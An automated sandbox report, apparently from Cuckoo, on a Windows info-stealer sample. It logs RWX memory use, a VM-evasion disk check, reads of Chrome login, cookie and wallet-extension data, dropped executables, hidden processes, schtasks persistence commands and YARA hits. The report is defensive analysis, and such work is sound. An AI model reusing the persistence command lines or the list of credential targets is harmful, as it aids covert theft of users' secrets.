NtProtectVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6ecbe000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6eb3b000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0041a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73d0f000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0041c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00436000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00437000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (4 events)

Time & API	Arguments	Status	Return
GetDiskFreeSpaceW Sept. 13, 2023, 7:43 a.m.	number_of_free_clusters: 2425048 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Sept. 13, 2023, 7:43 a.m.	number_of_free_clusters: 2425048 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Sept. 13, 2023, 7:43 a.m.	number_of_free_clusters: 2424883 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Sept. 13, 2023, 7:43 a.m.	number_of_free_clusters: 2424883 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1

Steals private information from local Internet browsers (50 out of 158 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\cgeeodpfagjceefieflmdfphplkenlfk
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielpathgobddffflal
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnpath
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\gjagmgpathdbbciopjhllkdnddhcglnemk
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\aijcbedoijmgnlmjeegjaglmepbmpkpi
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cgeeodpfagjceefieflmdfphplkenlfk
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\naepdomgkenhinolocfifgehpathddafch
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghpathoadd
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jhgnbkkipaallpehbohjmkbjofjdmepath
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcobl
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fooolghllnmhmmndgjiamiiodkpenpbb
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\fdjamakpfbbddfjaooikfcpapjohcfmg
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\pdadjkfkgcafgbceimcpbkalnfnepbnk
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fdjamakpfbbddfjaooikfcpapjohcfmg
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hmeobnfnfcmdkdcmlblgagmfpfboieaf
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\lpilbniiabackdjcionkobglmddfbcjo
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhilaheimglignddkjgofkcbgekhenbh
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbml
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae

Creates executable files on the filesystem (7 events)

file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\y5477514.exe
file	C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\m5507002.exe
file	C:\Users\test22\AppData\Local\Temp\ZFQ4US7ZJrY4byaj.dll
file	C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\o4696120.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\n1572014.exe

Creates a suspicious process (4 events)

cmdline	/c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe" /tn "\WindowsAppPool\9N3sL7QG3mvcw8U"
cmdline	/c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe" /tn "\WindowsAppPool\6rVkpNETfwTuXfY"
cmdline	schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe" /tn "\WindowsAppPool\9N3sL7QG3mvcw8U"
cmdline	schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe" /tn "\WindowsAppPool\6rVkpNETfwTuXfY"

Drops a binary and executes it (2 events)

file	C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe
file	C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe

Drops an executable to the user AppData folder (4 events)

file	C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\y5477514.exe
file	C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\o4696120.exe

A process created a hidden window (4 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Sept. 13, 2023, 7:44 a.m.	thread_identifier: 2896 thread_handle: 0x00000308 process_identifier: 2892 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x00000290	1	1
CreateProcessInternalW Sept. 13, 2023, 7:44 a.m.	thread_identifier: 2932 thread_handle: 0x000002c8 process_identifier: 2928 current_directory: filepath: C:\Windows\System32\cmd.exe track: 1 command_line: /c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\6rVkpNETfwTuXfY.exe" /tn "\WindowsAppPool\6rVkpNETfwTuXfY" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x0000028c	1	1
CreateProcessInternalW Sept. 13, 2023, 7:44 a.m.	thread_identifier: 2972 thread_handle: 0x0000014c process_identifier: 2968 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x000002cc	1	1
CreateProcessInternalW Sept. 13, 2023, 7:44 a.m.	thread_identifier: 3028 thread_handle: 0x0000030c process_identifier: 3024 current_directory: filepath: C:\Windows\System32\cmd.exe track: 1 command_line: /c schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\9N3sL7QG3mvcw8U.exe" /tn "\WindowsAppPool\9N3sL7QG3mvcw8U" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x00000310	1	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0008cc00', u'virtual_address': u'0x0003d000', u'entropy': 7.8513129630723215, u'name': u'.bsp', u'virtual_size': u'0x0008ca90'}

entropy

7.85131296307

description

A section with a high entropy has been found

entropy

0.698944754811

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 13, 2023, 7:44 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Sept. 13, 2023, 7:44 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (27 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Escalate priviledges	rule	Escalate_priviledges
description	Take ScreenShot	rule	ScreenShot
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Install itself for autorun at Windows startup	rule	Persistence
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Queries for potentially installed applications (50 out of 102 events)

Time & API	Arguments	Status
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000002 key_handle: 0x0000039c options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: 7-Zip base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: AddressBook base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: Adobe AIR base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: Connection Manager base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: DirectDrawEx base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: EditPlus base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: Fontcore base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: Google Chrome base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: Haansoft HWord 80 Korean base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: IE40 base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: IE4Data base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: IE5BAKEX base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: IEData base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: MobileOptionPack base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: Mozilla Thunderbird 78.4.0 (x86 ko) base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: Office15.PROPLUSR base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: SchedulingAgent base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: WIC base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WIC	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {00203668-8170-44A0-BE44-B632FA4D780F} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {01B845D4-B73E-4CF7-A377-94BC7BB4F77B} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {1D91F7DA-F517-4727-9E62-B7EA978BE980} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {26A24AE4-039D-4CA4-87B4-2F32180131F0} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {4A03706F-666A-4037-7777-5F2748764D10} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {60EC980A-BDA2-4CB6-A427-B07A5498B4CA} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-0015-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0015-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-0016-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0016-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-0018-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0018-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 13, 2023, 7:44 a.m.	regkey_r: {90150000-0019-0409-0000-0000000FF1CE} base_handle: 0x0000039c key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0019-0409-0000-0000000FF1CE}	1
